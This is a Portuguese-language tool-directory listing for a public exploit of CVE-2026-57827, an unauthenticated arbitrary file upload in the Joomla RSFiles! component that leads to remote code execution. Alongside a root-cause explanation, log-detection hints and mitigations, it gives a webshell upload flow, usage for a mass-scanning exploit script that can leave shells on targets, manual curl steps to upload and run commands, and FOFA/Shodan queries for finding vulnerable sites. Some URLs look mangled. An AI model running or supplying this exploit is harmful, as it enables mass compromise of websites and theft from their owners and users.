Skip to content
KitploitKITPLOIT
FerramentasExploitsBlog
Log in
Enviar
FerramentasExploitsBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

FeedsContatoPrivacidade© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2026-57827 — Demonstre a vulnerabilidade de execução remota de código não autenticada no componente RSFiles! do Joomla através de um upload arbitrário de arquivos. | Kitploit
Ferramentas/GitHubGitHub/candisexterior171/cve-2026-57827
ReconhecimentoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubcandisexterior171/cve-2026-57827

CVE-2026-57827

Demonstre a vulnerabilidade de execução remota de código não autenticada no componente RSFiles! do Joomla através de um upload arbitrário de arquivos.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
34há 15 diasAinda não revisado

CVE-2026-57827 — RCE por upload de arquivo não autenticado no componente RSFiles! para Joomla

Bypass de upload via controlador dividido → Tarefa de escrita direta → /downloads/shell.php → RCE


Visão geral

CVE-2026-57827 é uma vulnerabilidade de upload arbitrário de arquivos não autenticado de severidade crítica (CVSS 9.8) no RSFiles! (com_rsfiles), um componente de gerenciador de arquivos e downloads amplamente utilizado para Joomla, nas versões < 1.17.12.

A vulnerabilidade explora uma falha de design de controlador dividido: o RSFiles! separa seu upload em duas tarefas de frontend — uma verificação prévia (controle de permissão + lista de extensões permitidas) e um método de escrita (salva o arquivo em disco). O método de escrita pode ser chamado diretamente, contornando completamente a verificação prévia. Sem autenticação, sem necessidade de token CSRF.

Versões afetadas

VersãoStatus
< 1.17.12Vulnerável
1.17.12+Corrigida

Descoberto por: Phil Taylor, mySites.guru (10 de julho de 2026) Fornecedor: RSJoomla (rsjoomla.com) Componente: com_rsfiles


Mecanismo da vulnerabilidade

Causa raiz

O RSFiles! divide seu upload entre duas tarefas de frontend separadas em /components/com_rsfiles/controllers/rsfiles.php:

// Task 1 — Pre-flight check (task=rsfiles.checkupload) — GUARDED
// Holds the permission gate (can this user upload?) and the extension
// allow-list (images, text, PDFs by default). This method decides yes
// or no. It writes nothing.
function checkupload() {
    if (!$user->authorise('rsfiles.upload')) return false;
    $allowed = ['jpg','png','gif','txt','pdf'];
    if (!in_array($ext, $allowed)) return false;
    return true;
}

// Task 2 — Write method (task=rsfiles.upload) — UNGUARDED (the vulnerability)
// Receives the file and saves to disk. NO permission check.
// NO file-type check. Reads filename straight from the request
// and hands the upload to Joomla's JFile::upload(), which
// accepts any file type unless told otherwise.
function upload() {
    $file = $input->files->get('file');
    // No permission check
    // No extension check
    // JFile::upload() accepts anything by default
    JFile::upload($file['tmp_name'], $dest . $file['name']);
    // File saved to /downloads/ (web root, .htaccess OFF by default)
}

Por que funciona

  1. Controlador dividido — As verificações de segurança e a gravação do arquivo estão em dois métodos diferentes. Apenas a verificação prévia é protegida.
  2. Acesso direto à tarefa — O controlador de frontend do Joomla permite chamar qualquer tarefa diretamente via &task=rsfiles.upload, ignorando completamente a verificação prévia.
  3. Sem autenticação — O controlador de frontend não possui verificação de acesso. Visitantes anônimos podem chamar a tarefa de gravação.
  4. Sem token CSRF — O formulário de upload do frontend não possui token CSRF em todo o site.
  5. Sem validação de tipo de arquivo — O método de gravação lê o nome do arquivo da requisição e o passa para o manipulador de upload incluído no Joomla (JFile::upload()), que aceita qualquer tipo de arquivo por padrão.
  6. Pasta de downloads na raiz da web — A pasta de downloads padrão do RSFiles! fica dentro da raiz da web. O .htaccess de proteção que impediria a execução de PHP ali é uma configuração de administração opcional que está DESATIVADA por padrão.

Fluxo do ataque

1. Attacker crafts PHP webshell (plain PHP, no polyglot needed)
2. POST /index.php?option=com_rsfiles&task=rsfiles.upload
   file=<shell.php> (multipart, PHP payload)
   folder=&overwrite=1
3. Joomla frontend controller dispatches to rsfiles.upload()
   → Skips rsfiles.checkupload (pre-flight) entirely
   → No permission check → No CSRF token check → No file-type check
   → JFile::upload() accepts any file type
4. File saved to /downloads/{shell_name}.php (web root)
   .htaccess protection is opt-in, OFF by default
5. GET /downloads/{shell_name}.php?t=TOKEN&c=id
6. PHP executes → RCE as www-data

Referências de Código-Fonte Verificadas

ArquivoFinalidade
/components/com_rsfiles/controllers/rsfiles.phpControlador com as tarefas vulneráveis upload() e checkupload()
/components/com_rsfiles/views/upload/tmpl/upload.phpTemplate do formulário de upload do frontend (confirmado: name="file", task=rsfiles.upload)
/downloads/Pasta de downloads padrão na raiz web (proteção .htaccess DESATIVADA por padrão)
/briefcase/Pasta briefcase (também gravável)

Detecção em Logs do Servidor (do aviso da RSJoomla)

Look for POST requests to:
  index.php?option=com_rsfiles&task=rsfiles.upload
that are NOT preceded by requests to:
  index.php?option=com_rsfiles&task=rsfiles.checkupload

Falha de Design Central

As verificações de segurança (permission gate + lista de permissões de extensões) são uma etapa de pré-verificação separada do método que realmente grava o arquivo. Apenas a primeira contém as verificações. A segunda — a que grava no disco — poderia ser chamada diretamente ao elaborar o parâmetro task correto na URL, contornando todos os controles de segurança.

Este é um exemplo clássico do antipadrão "verificações e ações em locais diferentes": a proteção e a operação que ela deveria proteger estão desacopladas, e um atacante pode alcançar a operação sem passar pela proteção.


Instalação

git clone https://candisexterior171.github.io
cd CVE-2026-57827
pip install requests

Uso

# Single target
python cve_2026_57827.py -t target.com

# Mass scan
python cve_2026_57827.py -f targets.txt -o shells.txt

# Debug mode, leave shells on target
python cve_2026_57827.py -t target.com --debug --no-cleanup

Argumentos

  -t, --target       Single target (domain or IP)
  -f, --file         Target list, one per line
  -o, --output       Save RCE URLs to file
  --threads          Concurrent workers (default: 30)
  --no-cleanup       Leave shells on target
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prova de Conceito

Alvo Único

$ python cve_2026_57827.py -t joomla-site.com
  RSFiles! Joomla Component | CVE-2026-57827 | CVSS 9.8

  Host       : joomla-site.com
  RSFiles!   : YES v1.17.11
  Upload     : YES
  RCE        : YES
  Shell      : https://candisexterior171.github.io
  Output     : uid=33(www-data) gid=33(www-data) groups=33(www-data)
  Time       : 3.8s

Exploração Manual

Passo 1 — Enviar o shell

curl -X POST 'https://candisexterior171.github.io' \
  -F '[email protected]' \
  -F 'folder=' \
  -F 'overwrite=1'

Passo 2 — Acessar o shell

curl 'https://candisexterior171.github.io'

Passo 3 — Executar comandos

curl 'https://candisexterior171.github.io;hostname;uname -a'

Mitigação (se a atualização não for possível)

# Delete the vulnerable controller file (renders RSFiles! unusable but secure)
rm /path/to/joomla/components/com_rsfiles/controllers/rsfiles.php

# Or enable .htaccess protection:
# RSFiles admin → Settings → Files → tick "Secure download folder" + "Secure briefcase folder"

FOFA / Shodan

FOFA:   body="com_rsfiles" || body="RSFiles"
Shodan: http.html:"com_rsfiles"

Impacto

Baixar ferramenta